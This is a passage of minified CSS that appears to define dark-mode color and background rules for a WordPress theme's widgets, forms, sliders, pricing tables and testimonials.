ul.side-newsfeed li .side-item .side-item-text .side-item-meta,body.pcdm-enable.pcdark-mode .widget ul.side-newsfeed li .side-item .side-item-text .side-item-meta{color:var(--pcmeta-cl)}body.pcdm-enable.pcdark-mode .widget ul.side-newsfeed li .side-item .side-item-text .side-item-meta a{color:var(--pctext-cl)}body.pcdm-enable.pcdark-mode .widget ul.side-newsfeed li .side-item .side-item-text .side-item-meta a:hover{color:var(--pcaccent-cl)}body.pcdm-enable.pcdark-mode .penci_recent-posts-sc ul.side-newsfeed li .order-border-number,body.pcdm-enable.pcdark-mode .widget ul.side-newsfeed li .order-border-number{background-color:rgba(255,255,255,.3)}body.pcdm-enable.pcdark-mode .penci_recent-posts-sc ul.side-newsfeed li .number-post,body.pcdm-enable.pcdark-mode .widget ul.side-newsfeed li .number-post{background-color:var(--pcbg-l-cl);color:var(--pctext-cl)}body.pcdm-enable.pcdark-mode .side-newsfeed.pctlst{border-color:var(--pcborder-cl)}body.pcdm-enable.pcdark-mode .penci_post-slider-sc .penci-post-slider-style-1 .penci-widget-slide-detail h4 a,body.pcdm-enable.pcdark-mode .penci_post-slider-sc .penci-post-slider-style-2 .penci-widget-slide-detail h4 a,body.pcdm-enable.pcdark-mode .widget .penci-widget-slider .penci-widget-slide-detail h4 a{color:var(--pctext-cl)}body.pcdm-enable.pcdark-mode .penci_post-slider-sc .penci-post-slider-style-3 .penci-widget-slide-detail h4 a{color:var(--pcl-cl)}body.pcdm-enable.pcdark-mode .penci-widget-slide-detail .slide-item-date{color:var(--pctext-cl)}body.pcdm-enable.pcdark-mode .penci-owl-carousel.penci-widget-slider.penci-post-slider-style-1 .penci-owl-nav .owl-next,body.pcdm-enable.pcdark-mode .penci-owl-carousel.penci-widget-slider.penci-post-slider-style-1 .penci-owl-nav .owl-prev,body.pcdm-enable.pcdark-mode .penci-owl-carousel.penci-widget-slider.penci-post-slider-style-2 .penci-owl-nav .owl-next,body.pcdm-enable.pcdark-mode .penci-owl-carousel.penci-widget-slider.penci-post-slider-style-2 .penci-owl-nav .owl-prev{color:var(--pctext-cl)}body.pcdm-enable.pcdark-mode .widget .penci-widget-slider.penci-post-slider-style-3 .penci-widget-slide-detail h4 a{color:inherit}body.pcdm-enable.pcdark-mode .penci-post-slider-style-3 .penci-widget-slide-detail .slide-item-date{color:var(--pcmeta-cl)}body.pcdm-enable.pcdark-mode .widget-social a i{color:var(--pctext-cl)}body.pcdm-enable.pcdark-mode .widget-social a:hover i{color:var(--pctext-cl);border-color:var(--pcaccent-cl)}body.pcdm-enable.pcdark-mode .widget-social.show-text a:hover span{color:var(--pcaccent-cl)}body.pcdm-enable.pcdark-mode .widget-social.remove-circle a:hover i{color:var(--pcaccent-cl)}body.pcdm-enable.pcdark-mode .quote-widget>i{color:var(--pcmeta-cl)}body.pcdm-enable.pcdark-mode .penci-pinterest-widget-container .pin_link a{color:var(--pcmeta-cl)}body.pcdm-enable.pcdark-mode .penci-promo-item{background-color:var(--pcbg-l-cl)}body.pcdm-enable.pcdark-mode .penci-promo-text h4{color:var(--pctext-cl)}body.pcdm-enable.pcdark-mode .mc4wp-form input[type=submit]{color:var(--pcl-cl)}body.pcdm-enable.pcdark-mode .mc4wp-form input[type=submit]:hover{color:var(--pclh-cl)}body.pcdm-enable.pcdark-mode div.wpforms-container .wpforms-form.wpforms-form .wpforms-field-label{color:var(--pcmeta-cl)}body.pcdm-enable.pcdark-mode div.wpforms-container .wpforms-form.wpforms-form .wpforms-page-button,body.pcdm-enable.pcdark-mode div.wpforms-container .wpforms-form.wpforms-form button[type=submit],body.pcdm-enable.pcdark-mode div.wpforms-container .wpforms-form.wpforms-form input[type=submit]{color:var(--pcl-cl)}body.pcdm-enable.pcdark-mode .mc4wp-form input[type=submit]:hover,body.pcdm-enable.pcdark-mode div.wpforms-container .wpforms-form.wpforms-form .wpforms-page-button:hover,body.pcdm-enable.pcdark-mode div.wpforms-container .wpforms-form.wpforms-form button[type=submit]:hover,body.pcdm-enable.pcdark-mode div.wpforms-container .wpforms-form.wpforms-form input[type=submit]:hover{color:var(--pclh-cl)}body.pcdm-enable.pcdark-mode .mc4wp-response{color:var(--pctext-cl)}body.pcdm-enable.pcdark-mode .mc4wp-response p{color:var(--pctext-cl)}body.pcdm-enable.pcdark-mode .footer-instagram h4.footer-instagram-title>span:before{color:inherit}body.pcdm-enable.pcdark-mode form#commentform>div.penci-gdpr-message{color:var(--pcmeta-cl)}body.pcdm-enable.pcdark-mode .thecomment .comment-text span.author,body.pcdm-enable.pcdark-mode .thecomment .comment-text span.author a{color:var(--pcl-cl)}body.pcdm-enable.pcdark-mode .thecomment .comment-text>em{color:orange}body.pcdm-enable.pcdark-mode .thecomment .comment-text>em i{color:#f3bd00}body.pcdm-enable.pcdark-mode .post-comments span.reply a{color:var(--pcmeta-cl)}body.pcdm-enable.pcdark-mode .post-comments span.reply a:hover{color:var(--pclh-cl)}body.pcdm-enable.pcdark-mode #respond h3{color:var(--pcmeta-cl)}body.pcdm-enable.pcdark-mode #respond h3 a{color:var(--pctext-cl)}body.pcdm-enable.pcdark-mode #respond h3 small a{color:var(--pcmeta-cl)}body.pcdm-enable.pcdark-mode #respond h3 small a:hover{color:var(--pclh-cl)}body.pcdm-enable.pcdark-mode form#commentform p.comment-subscription-form label,body.pcdm-enable.pcdark-mode form#commentform p.mc4wp-checkbox label{color:var(--pcmeta-cl)}body.pcdm-enable.pcdark-mode #respond label,body.pcdm-enable.pcdark-mode .wpcf7 label{color:var(--pcheading-cl)}body.pcdm-enable.pcdark-mode #respond .comment-form label{color:inherit}body.pcdm-enable.pcdark-mode #respond textarea,body.pcdm-enable.pcdark-mode .penci-login-register textarea,body.pcdm-enable.pcdark-mode .wpcf7 textarea{color:var(--pctext-cl)}body.pcdm-enable.pcdark-mode #respond #submit,body.pcdm-enable.pcdark-mode .penci-login-register input[type=submit],body.pcdm-enable.pcdark-mode .widget_wysija input[type=submit],body.pcdm-enable.pcdark-mode .wpcf7 input[type=submit]{color:var(--pcl-cl)}body.pcdm-enable.pcdark-mode #respond #submit:hover,body.pcdm-enable.pcdark-mode .penci-login-register input[type=submit]:hover,body.pcdm-enable.pcdark-mode .widget_wysija input[type=submit]:hover,body.pcdm-enable.pcdark-mode .wpcf7 input[type=submit]:hover{color:var(--pctext-cl)}body.pcdm-enable.pcdark-mode .contact-form input[type=submit]{color:var(--pcl-cl)}body.pcdm-enable.pcdark-mode .penci-button,body.pcdm-enable.pcdark-mode .widget button[type=submit],body.pcdm-enable.pcdark-mode .widget input[type=submit]{background-color:var(--pcbg-l-cl)}body.pcdm-enable.pcdark-mode .penci-button,body.pcdm-enable.pcdark-mode .widget button[type=submit]:hover,body.pcdm-enable.pcdark-mode .widget input[type=submit]:hover{color:var(--pctext-cl)}body.pcdm-enable.pcdark-mode form#commentform>.comment-form-cookies-consent{color:var(--pcmeta-cl)}body.pcdm-enable.pcdark-mode .widget_block.widget_search .wp-block-search__no-button .wp-block-search__inside-wrapper:before{color:var(--pctext-cl)}body.pcdm-enable.pcdark-mode .wp-block-search.wp-block-search__button-inside .wp-block-search__inside-wrapper{border-color:var(--pcborder-cl)}body.pcdm-enable.pcdark-mode .archive-box h1,body.pcdm-enable.pcdark-mode .archive-box span{color:var(--pcheading-cl)}body.pcdm-enable.pcdark-mode .nothing span{color:inherit}body.pcdm-enable.pcdark-mode .container.penci-breadcrumb a,body.pcdm-enable.pcdark-mode .container.penci-breadcrumb span,body.pcdm-enable.pcdark-mode .container.penci-breadcrumb span a,body.pcdm-enable.pcdark-mode .penci-container-inside.penci-breadcrumb a,body.pcdm-enable.pcdark-mode .penci-container-inside.penci-breadcrumb span,body.pcdm-enable.pcdark-mode .penci-container-inside.penci-breadcrumb span a{color:var(--pcmeta-cl)}body.pcdm-enable.pcdark-mode .container.penci-breadcrumb a:hover,body.pcdm-enable.pcdark-mode .container.penci-breadcrumb span a:hover,body.pcdm-enable.pcdark-mode .penci-container-inside.penci-breadcrumb a:hover,body.pcdm-enable.pcdark-mode .penci-container-inside.penci-breadcrumb span a:hover{color:var(--pcaccent-cl)}body.pcdm-enable.pcdark-mode .container.penci-breadcrumb i,body.pcdm-enable.pcdark-mode .container.penci-breadcrumb span.separator,body.pcdm-enable.pcdark-mode .penci-container-inside.penci-breadcrumb i,body.pcdm-enable.pcdark-mode .penci-container-inside.penci-breadcrumb span.separator{color:var(--pcmeta-cl)}body.pcdm-enable.pcdark-mode .penci-featured-caption.penci-fixed-caption.penci-caption-relative a{color:inherit}body.pcdm-enable.pcdark-mode .post-entry pre{background-color:var(--pcbg-l-cl);color:inherit}body.pcdm-enable.pcdark-mode .post-entry code{color:var(--pctext-cl)}body.pcdm-enable.pcdark-mode .gallery .gallery-caption{color:var(--pcheading-cl)}body.pcdm-enable.pcdark-mode .penci-post-gallery-container.single-slider figure p,body.pcdm-enable.pcdark-mode .post-image .penci-owl-carousel figure p{color:var(--pctext-cl)}body.pcdm-enable.pcdark-mode .penci-post-gallery-container.masonry .item-gallery-masonry .caption{color:var(--pctext-cl)}body.pcdm-enable.pcdark-mode .penci-tweets-widget-content .icon-tweets{color:var(--pcaccent-cl)}body.pcdm-enable.pcdark-mode .penci-tweets-widget-content .tweet-text{color:var(--pcl-cl)}body.pcdm-enable.pcdark-mode .penci-tweets-widget-content .tweet-intents a{color:var(--pcaccent-cl)}body.pcdm-enable.pcdark-mode .penci-tweets-widget-content .tweet-intents span:after{color:var(--pcaccent-cl)}body.pcdm-enable.pcdark-mode .penci-header-signup-form .mc4wp-form{color:var(--pctext-cl)}body.pcdm-enable.pcdark-mode .penci-header-signup-form h4.header-signup-form{color:var(--pctext-cl)}body.pcdm-enable.pcdark-mode .penci-header-signup-form .mc4wp-form-fields>p,body.pcdm-enable.pcdark-mode .penci-header-signup-form form>p{color:var(--pctext-cl)}body.pcdm-enable.pcdark-mode .penci-portfolio-thumbnail .penci-image-placeholder{background-color:var(--pcbg-l-cl)}body.pcdm-enable.pcdark-mode .penci-portfolio-filter ul li a,body.pcdm-enable.pcdark-mode .post-entry .penci-portfolio-filter ul li a{color:var(--pcl-cl)}body.pcdm-enable.pcdark-mode .penci-portfolio-filter ul li a:hover,body.pcdm-enable.pcdark-mode .penci-portfolio-filter ul li.active a,body.pcdm-enable.pcdark-mode .post-entry .penci-portfolio-filter ul li a:hover,body.pcdm-enable.pcdark-mode .post-entry .penci-portfolio-filter ul li.active a{color:var(--pcaccent-cl)}body.pcdm-enable.pcdark-mode .project-pagination .next-post a:after{color:inherit}body.pcdm-enable.pcdark-mode .project-pagination .prev-post a:before{color:inherit}body.pcdm-enable.pcdark-mode .penci-pfl-ajaxdot{background-color:var(--pcbg-l-cl)}body.pcdm-enable.pcdark-mode .portfolio-share-box .list-posts-share a{color:var(--pcheading-cl)}body.pcdm-enable.pcdark-mode .portfolio-share-box .list-posts-share a:hover{color:var(--pcaccent-cl)}body.pcdm-enable.pcdark-mode .portfolio-share-box.style-2 .list-posts-share a,body.pcdm-enable.pcdark-mode .portfolio-share-box.style-3 .list-posts-share a,body.pcdm-enable.pcdark-mode .portfolio-share-box.style-4 .list-posts-share a{color:#000}body.pcdm-enable.pcdark-mode .portfolio-share-box.style-2 .list-posts-share a:hover,body.pcdm-enable.pcdark-mode .portfolio-share-box.style-3 .list-posts-share a,body.pcdm-enable.pcdark-mode .portfolio-share-box.style-3 .list-posts-share a:hover,body.pcdm-enable.pcdark-mode .portfolio-share-box.style-4 .list-posts-share a:hover{color:var(--pctext-cl)}body.pcdm-enable.pcdark-mode .portfolio-share-box.style-4 .list-posts-share a{background-color:#eee;border-color:#eee}body.pcdm-enable.pcdark-mode .portfolio-share-box.style-4 .list-posts-share a:hover{color:var(--pctext-cl)}body.pcdm-enable.pcdark-mode .portfolio-releated-area .item-related .portfolio-cat a{color:var(--pcmeta-cl)}body.pcdm-enable.pcdark-mode .portfolio-releated-area .item-related .portfolio-cat a:hover{color:var(--pcaccent-cl)}body.pcdm-enable.pcdark-mode .penci-review-metas .penci-review-meta{color:var(--pcmeta-cl)}body.pcdm-enable.pcdark-mode .penci-review-metas .penci-review-meta i{color:var(--pcmeta-cl)}body.pcdm-enable.pcdark-mode .penci-review-metas .penci-review-btnbuy{color:var(--pcaccent-cl)}body.pcdm-enable.pcdark-mode .penci-review-metas .penci-review-btnbuy:hover{color:var(--pctext-cl);border-color:var(--pcaccent-cl)}body.pcdm-enable.pcdark-mode .penci-review-container.penci-review-count h4 a,body.pcdm-enable.pcdark-mode .penci-review-container.penci-review-count h4 span{color:inherit}body.pcdm-enable.pcdark-mode .penci-review .penci-review-good ul li:before{color:#22b162}body.pcdm-enable.pcdark-mode .penci-review .penci-review-bad ul li:before{color:#e03030}body.pcdm-enable.pcdark-mode .penci-review-score-total{color:var(--pctext-cl)}body.pcdm-enable.pcdark-mode .penci-chart-text{color:var(--pctext-cl)}body.pcdm-enable.pcdark-mode .bbp-breadcrumb a,body.pcdm-enable.pcdark-mode .bbp-breadcrumb span{color:var(--pcmeta-cl)}body.pcdm-enable.pcdark-mode .bbp-breadcrumb .bbp-breadcrumb-sep{color:var(--pcmeta-cl)}body.pcdm-enable.pcdark-mode .widget_display_stats dd{color:var(--pcmeta-cl)}body.pcdm-enable.pcdark-mode .widget_text .textwidget blockquote:before{color:var(--pcmeta-cl)}body.pcdm-enable.pcdark-mode .penci-vernav-toggle i{color:var(--pctext-cl)}body.pcdm-enable.pcdark-mode form.pc-searchform.penci-hbg-search-form input.search-input:focus,body.pcdm-enable.pcdark-mode form.pc-searchform.penci-hbg-search-form input.search-input:hover{border-color:var(--pcaccent-cl)}body.pcdm-enable.pcdark-mode form.pc-searchform.penci-hbg-search-form i{color:var(--pcmeta-cl)}body.pcdm-enable.pcdark-mode #sidebar-nav form.pc-searchform.penci-hbg-search-form input.search-input:focus,body.pcdm-enable.pcdark-mode #sidebar-nav form.pc-searchform.penci-hbg-search-form input.search-input:hover{border-color:var(--pcbg-l-cl)}body.pcdm-enable.pcdark-mode .post-entry .wp-block-cover .wp-block-cover-text a{color:var(--pctext-cl)}body.pcdm-enable.pcdark-mode .post-entry blockquote.wp-block-quote p,body.pcdm-enable.pcdark-mode .wpb_text_column blockquote.wp-block-quote p{color:var(--pctext-cl)}body.pcdm-enable.pcdark-mode .post-entry blockquote.wp-block-quote cite,body.pcdm-enable.pcdark-mode .wpb_text_column blockquote.wp-block-quote cite{color:var(--pctext-cl)}body.pcdm-enable.pcdark-mode .container-single .post-entry .wp-block-file a,body.pcdm-enable.pcdark-mode .post-entry .wp-block-file a{color:inherit}body.pcdm-enable.pcdark-mode .post-entry .wp-block-pullquote blockquote p{color:var(--pctext-cl)}body.pcdm-enable.pcdark-mode .post-entry .wp-block-pullquote blockquote cite{color:inherit}body.pcdm-enable.pcdark-mode .container-single .post-entry a.has-white-color,body.pcdm-enable.pcdark-mode .container-single .post-entry a.wp-block-button__link,body.pcdm-enable.pcdark-mode .post-entry a.has-white-color,body.pcdm-enable.pcdark-mode .post-entry a.wp-block-button__link{color:var(--pctext-cl)}body.pcdm-enable.pcdark-mode .container-single .post-entry a.has-black-color,body.pcdm-enable.pcdark-mode .post-entry a.has-black-color{color:var(--pctext-cl)}body.pcdm-enable.pcdark-mode .container-single .post-entry a.has-vivid-purple-color,body.pcdm-enable.pcdark-mode .post-entry a.has-vivid-purple-color{color:#9b51e0}body.pcdm-enable.pcdark-mode .post-entry .wp-block-social-links:not(.is-style-logos-only) .wp-social-link a{color:var(--pctext-cl)}body.pcdm-enable.pcdark-mode .wp-block-separator.is-style-dots:before{color:inherit}body.pcdm-enable.pcdark-mode .wp-block-categories .category-item-count{color:var(--pcaccent-cl)}body.pcdm-enable.pcdark-mode .penci-wrap-gprd-law{color:var(--pctext-cl)}body.pcdm-enable.pcdark-mode .penci-gprd-law{color:inherit}body.pcdm-enable.pcdark-mode .penci-gprd-law p{color:inherit}body.pcdm-enable.pcdark-mode .penci-gprd-law .penci-gprd-accept,body.pcdm-enable.pcdark-mode .penci-gprd-law .penci-gprd-more{color:inherit}body.pcdm-enable.pcdark-mode .penci-gprd-law .penci-gprd-accept{color:var(--pctext-cl)}body.pcdm-enable.pcdark-mode .penci-wrap-gprd-law .penci-gdrd-show{color:inherit}body.pcdm-enable.pcdark-mode .penci-missing-settings{color:var(--pcheading-cl)}body.pcdm-enable.pcdark-mode .penci-missing-settings span{background-color:red;color:var(--pctext-cl)}body.pcdm-enable.pcdark-mode .penci-fancy-heading.penci-block-vc{background-color:transparent}body.pcdm-enable.pcdark-mode .penci-fancy-heading .penci-heading-content p{color:var(--pctext-cl)}body.pcdm-enable.pcdark-mode .penci-fancy-heading .inner-tit,body.pcdm-enable.pcdark-mode .penci-fancy-heading .penci-heading-title{color:var(--pcheading-cl)}body.pcdm-enable.pcdark-mode .penci-dmcheck>.elementor-widget-wrap{position:relative}body.pcdm-enable.pcdark-mode .elementor-element .penci-ctslide-bg:before,body.pcdm-enable.pcdark-mode .elementor-section.penci-dmcheck.penci-elbg-img:before,body.pcdm-enable.pcdark-mode .penci-dmcheck.penci-elbg-img.elementor-column>.elementor-widget-wrap:before{content:'';position:absolute;top:0;left:0;bottom:0;right:0;z-index:1;background-color:rgba(55,55,55,.75)}body.pcdm-enable.pcdark-mode .elementor-element .penci-ctslider-content,body.pcdm-enable.pcdark-mode .elementor-element .penci-ctslider-content *,body.pcdm-enable.pcdark-mode .penci-dmcheck .elementor-widget-wrap>div:not(.elementor-background-overlay){position:relative;z-index:11}body.pcdm-enable.pcdark-mode .penci-dmcheck.penci-elbg-img .elementor-widget-wrap>div:not(.elementor-widget-penci-big-grid) *{color:var(--pctext-cl);border-color:var(--pctext-cl)!important}body.pcdm-enable.pcdark-mode .elementor-widget-wrap .pcsl-itemin{background-color:var(--pcbg-cl)}body.pcdm-enable.pcdark-mode .penci-dmcheck.penci-elbg-img .elementor-widget-wrap .pcsl-itemin,body.pcdm-enable.pcdark-mode .penci-dmcheck.penci-elbg-img .pcbg-bgoverlaytext.active-overlay,body.pcdm-enable.pcdark-mode .penci-dmcheck.penci-elbg-img .penci-biggrid .penci-bgitin{background-color:transparent!important}body.pcdm-enable.pcdark-mode .penci-separator .penci-sep_line{border-color:var(--pctext-cl)}body.pcdm-enable.pcdark-mode .penci-separator .penci-heading-icon{color:var(--pcaccent-cl)}body.pcdm-enable.pcdark-mode .penci-icon{color:var(--pctext-cl)}body.pcdm-enable.pcdark-mode .penci-icon:hover{color:var(--pcaccent-cl)}body.pcdm-enable.pcdark-mode .penci-view-stacked .penci-icon{background-color:var(--pcbg-l-cl);color:var(--pctext-cl)}body.pcdm-enable.pcdark-mode .penci-view-stacked .penci-icon a{color:var(--pcheading-cl)}body.pcdm-enable.pcdark-mode .penci-view-framed .penci-icon{color:var(--pcaccent-cl)}body.pcdm-enable.pcdark-mode .penci-info-box .penci-ibox-title{color:var(--pctext-cl)}body.pcdm-enable.pcdark-mode .penci-info-box .penci-ibox-content{color:var(--pcmeta-cl)}body.pcdm-enable.pcdark-mode .penci-info-box .penci-ibox-stit{color:var(--pcmeta-cl)}body.pcdm-enable.pcdark-mode .penci-info-box .penci-ibox-readmore a,body.pcdm-enable.pcdark-mode .penci-media-carousels .penci-media-rmbtn a{color:var(--pctext-cl)}body.pcdm-enable.pcdark-mode .penci-view-stacked .penci-animation-custom-1:hover .penci-ibox-icon,body.pcdm-enable.pcdark-mode .penci-view-stacked .penci-animation-custom-2:hover .penci-ibox-icon{background-color:var(--pcbg-l-cl);color:var(--pctext-cl)}body.pcdm-enable.pcdark-mode .penci-view-stacked .penci-animation-custom-4 .penci-ibox-icon:hover,body.pcdm-enable.pcdark-mode .penci-view-stacked .penci-animation-custom-5 .penci-ibox-icon:hover{color:var(--pctext-cl)}body.pcdm-enable.pcdark-mode .penci-view-framed .penci-animation-custom-1 .penci-ibox-icon:hover{color:var(--pctext-cl)}body.pcdm-enable.pcdark-mode .penci-countdown-holding span{color:var(--pcmeta-cl)}body.pcdm-enable.pcdark-mode .penci-countdown-amount{color:var(--pctext-cl)}body.pcdm-enable.pcdark-mode .penci-countdown-period{color:var(--pctext-cl)}body.pcdm-enable.pcdark-mode .penci-countdown-s2 .penci-span-inner{border-color:var(--pcaccent-cl)}body.pcdm-enable.pcdark-mode .penci-countdown-s3 .penci-span-inner{border-color:var(--pcbg-l-cl);background-color:var(--pcbg-l-cl)}body.pcdm-enable.pcdark-mode .penci-cup-number-wrapper{color:var(--pctext-cl)}body.pcdm-enable.pcdark-mode .penci-image-gallery .caption{background-color:var(--pctext-cl);color:var(--pctext-cl)}body.pcdm-enable.pcdark-mode .penci-gallery-item i{color:var(--pctext-cl)}body.pcdm-enable.pcdark-mode .penci-user-logged-in .penci-user-action-links a{color:var(--pcl-cl)}body.pcdm-enable.pcdark-mode .penci-user-logged-in .penci-user-action-links a:hover{color:var(--pctext-cl)}body.pcdm-enable.pcdark-mode .penci-mailchimp-block .mc4wp-form input[type=submit]:not(:hover){color:var(--pctext-cl)}body.pcdm-enable.pcdark-mode .penci-working-hours .penci-workingh-lists li{color:var(--pctext-cl)}body.pcdm-enable.pcdark-mode .penci-working-hours .penci-workingh-lists .penci-listitem-hours,body.pcdm-enable.pcdark-mode .penci-working-hours .penci-workingh-lists .penci-listitem-title,body.pcdm-enable.pcdark-mode .penci-working-hours .penci-workingh-lists .penci-workingh-icon{color:var(--pctext-cl)}body.pcdm-enable.pcdark-mode .penci-progress-bar .penci-probar-items .penci-probar-text{color:var(--pctext-cl)}body.pcdm-enable.pcdark-mode .penci-progress-bar .penci-review-process{background-color:var(--pcbg-l-cl)}body.pcdm-enable.pcdark-mode .penci-progress-bar .penci-review-process span{background-color:var(--pcaccent-cl)}body.pcdm-enable.pcdark-mode .pcsoc-wrapper .pcsoc-item{color:var(--pctext-cl)}body.pcdm-enable.pcdark-mode .penci-team_member_pos{color:var(--pcmeta-cl)}body.pcdm-enable.pcdark-mode .pcsc-st-filled .penci-social-item i{color:var(--pctext-cl)}body.pcdm-enable.pcdark-mode .pcsc-st-bordered .penci-social-item i{border-color:var(--pcborder-cl);color:var(--pctext-cl)}body.pcdm-enable.pcdark-mode .penci-teammb-s2 .penci-teammb-inner{background-color:var(--pcbg-cl)}body.pcdm-enable.pcdark-mode .penci-teammb-s3 .penci-teammb-inner{background-color:var(--pcbg-cl)}body.pcdm-enable.pcdark-mode .penci-teammb-s4 .penci-teammb-inner{background-color:var(--pcbg-cl)}body.pcdm-enable.pcdark-mode .penci-teammb-s4 .penci-team_member_desc{color:var(--pctext-cl)}body.pcdm-enable.pcdark-mode .penci-teammb-s4 .penci-social-wrap .penci-social-item,body.pcdm-enable.pcdark-mode .penci-teammb-s4 .penci-team_member_name,body.pcdm-enable.pcdark-mode .penci-teammb-s4 .penci-team_member_pos{color:var(--pctext-cl)}body.pcdm-enable.pcdark-mode .penci-teammb-s4 .penci-social-wrap .penci-social-item:hover{color:var(--pcaccent-cl)}body.pcdm-enable.pcdark-mode .penci-testi-s1 .penci-testimonail .penci-testi-blockquote{color:var(--pctext-cl);background-color:var(--pcbg-cl)}body.pcdm-enable.pcdark-mode .penci-testi-s1 .penci-testimonail .penci-testi-bq-icon:before{background-color:var(--pcaccent-cl);color:var(--pctext-cl)}body.pcdm-enable.pcdark-mode .penci-testi-company{color:var(--pcmeta-cl)}body.pcdm-enable.pcdark-mode .penci-testi-company .testiname{color:var(--pctext-cl)}body.pcdm-enable.pcdark-mode .penci-testi-s2 .penci-testimonail .penci-testi-blockquote{background-color:var(--pcbg-cl)}body.pcdm-enable.pcdark-mode .penci-testi-s2 .penci-testimonail .penci-testi-bq-icon:before{color:var(--pcaccent-cl)}body.pcdm-enable.pcdark-mode .penci-testi-s3 .penci-testimonail .penci-testi-bq-icon:before{color:var(--pcaccent-cl)}body.pcdm-enable.pcdark-mode .penci-testi-s3 .penci-testimonail .penci-testi-blockquote{color:var(--pctext-cl)}body.pcdm-enable.pcdark-mode .penci-testi-s3 .penci-testi-name{color:var(--pcaccent-cl)}body.pcdm-enable.pcdark-mode .penci-testi-s4 .penci-testi-bq-icon:before,body.pcdm-enable.pcdark-mode .penci-testi-s5 .penci-testi-bq-icon:before{color:var(--pctext-cl)}body.pcdm-enable.pcdark-mode .penci-testi-s5 .penci-testi-blockquote:after{border-color:#f5f5f5 transparent transparent transparent}body.pcdm-enable.pcdark-mode .penci-video_playlist .penci-playlist-title{color:var(--pctext-cl)}body.pcdm-enable.pcdark-mode .penci-video_playlist .penci-playlist-title a{color:inherit}body.pcdm-enable.pcdark-mode .penci-video_playlist .penci-playlist-title h2{color:inherit}body.pcdm-enable.pcdark-mode .penci-video_playlist .penci-video-play{background-color:#111}body.pcdm-enable.pcdark-mode .penci-video_playlist .penci-custom-scroll::-webkit-scrollbar-thumb{background-color:var(--pcaccent-cl)}body.pcdm-enable.pcdark-mode .penci-video_playlist .penci-custom-scroll::-webkit-scrollbar-corner{background-color:var(--pctext-cl)}body.pcdm-enable.pcdark-mode .penci-video_playlist .penci-video-nav .playlist-panel-item{color:#111}body.pcdm-enable.pcdark-mode .penci-video_playlist .penci-video-playlist-item .penci-video-play-icon{color:var(--pcaccent-cl)}body.pcdm-enable.pcdark-mode .penci-video_playlist .penci-video-playlist-item .penci-video-title{color:var(--pctext-cl)}body.pcdm-enable.pcdark-mode .penci-video_playlist .penci-video-playlist-item .penci-video-title:hover{color:var(--pcaccent-cl)}body.pcdm-enable.pcdark-mode .penci-video_playlist .penci-video-playlist-item .penci-video-duration{color:var(--pcmeta-cl)}body.pcdm-enable.pcdark-mode .pencisc-column-1.penci-video_playlist .penci-video-nav .playlist-panel-item,body.pcdm-enable.pcdark-mode .pencisc-column-2.penci-video_playlist .penci-video-nav .playlist-panel-item{color:var(--pctext-cl)}body.pcdm-enable.pcdark-mode .penci-media-carousels .penci-image-holder{background-color:transparent}body.pcdm-enable.pcdark-mode .penci-media-carousels .penci-media-stit{color:var(--pcmeta-cl)}body.pcdm-enable.pcdark-mode .penci-media-rmbtn i,body.pcdm-enable.pcdark-mode .penci-media-rmbtn svg{color:inherit}body.pcdm-enable.pcdark-mode .penci-weather-widget{color:var(--pcheading-cl)}body.pcdm-enable.pcdark-mode .penci-weather-degrees-wrap i{color:var(--pctext-cl)}body.pcdm-enable.pcdark-mode .penci-weather-week:before{background-color:var(--pcaccent-cl)}body.pcdm-enable.pcdark-mode .penci-pricing-item{color:var(--pcmeta-cl)}body.pcdm-enable.pcdark-mode .penci-pricing_featured .penci-pricing-ribbon{color:var(--pctext-cl)}body.pcdm-enable.pcdark-mode .penci-pricing_featured .penci-pricing-ribbon-text{background-color:#ff6618;color:var(--pctext-cl)}body.pcdm-enable.pcdark-mode .penci-pricing-item.penci-pricing-s2{background-color:var(--pcbg-l-cl);color:var(--pctext-cl)}body.pcdm-enable.pcdark-mode .penci-pricing-item .penci-pricing-icon i{color:inherit}body.pcdm-enable.pcdark-mode .penci-pricing-item .penci-pricing-subtitle{color:var(--pctext-cl)}body.pcdm-enable.pcdark-mode .penci-pricing-item .penci-price-unit,body.pcdm-enable.pcdark-mode .penci-pricing-item .penci-pricing-title{color:var(--pcheading-cl)}body.pcdm-enable.pcdark-mode .penci-pricing-item .penci-pricing-btn{color:var(--pctext-cl)}body.pcdm-enable.pcdark-mode .penci-pricing-btn-borders .penci-pricing-btn{color:var(--pctext-cl)}body.pcdm-enable.pcdark-mode .penci-pricing-btn-borders .penci-pricing-btn:hover{border-color:var(--pcaccent-cl);color:var(--pcaccent-cl)}body.pcdm-enable.pcdark-mode .pcbtn-wrapper a.pcbtn{color:var(--pctext-cl)!important;background-color:var(--pcaccent-cl)!important}body.pcdm-enable.pcdark-mode .pcbtn-wrapper a.pcbtn .pcbtn-wrapperin{background-color:inherit}body.pcdm-enable.pcdark-mode .penci-slides-wrap .pencislider-caption,body.pcdm-enable.pcdark-mode .penci-slides-wrap .pencislider-title{color:var(--pctext-cl)}body.pcdm-enable.pcdark-mode .penci-slider_btnwrap .pencislider-btn{color:var(--pctext-cl)}body.pcdm-enable.pcdark-mode .penci-slider_btnwrap .pencislider-btn:hover{border-color:var(--pcaccent-cl);color:var(--pctext-cl)}body.pcdm-enable.pcdark-mode .penci-page-header-wrap{color:var(--pcheading-cl)}body.pcdm-enable.pcdark-mode .penci-page-header-wrap .penci-page-header-title{color:var(--pcheading-cl)}body.pcdm-enable.pcdark-mode .penci-page-header-wrap .penci-page-header-title:before{color:inherit}@media only screen and (max-width:960px){body.pcdm-enable.pcdark-mode .penci-video_playlist .penci-video-nav .playlist-panel-item{color:var(--pctext-cl)}}body.pcdm-enable.pcdark-mode .menu-item-has-label .menu-label{color:var(--pctext-cl);background-color:var(--pcaccent-cl)}body.pcdm-enable.pcdark-mode .menu-item-has-label .menu-label.label-style-1:before,body.pcdm-enable.pcdark-mode .menu-item-has-label .menu-label.label-style-2:before{border-color:var(--pcaccent-cl)}body.pcdm-enable.pcdark-mode .menu-item-has-label .menu-label.label-style-4:before{border-color:var(--pcaccent-cl)}body.pcdm-enable.pcdark-mode .penci-dropdown-menu:before{background-color:inherit}body.pcdm-enable.pcdark-mode .button-popup-content,body.pcdm-enable.pcdark-mode .penci-age-verify,body.pcdm-enable.pcdark-mode .penci-popup-content{background-color:var(--pcbg-cl)}body.pcdm-enable.pcdark-mode .penci-age-verify .penci-age-verify-buttons .button{background-color:var(--pcaccent-cl);color:var(--pctext-cl)}body.pcdm-enable.pcdark-mode .penci-age-verify .penci-age-verify-buttons .button.penci-age-verify-forbidden{color:var(--pctext-cl);background-color:var(--pcbg-l-cl)}body.pcdm-enable.pcdark-mode .pc-fho-wrap 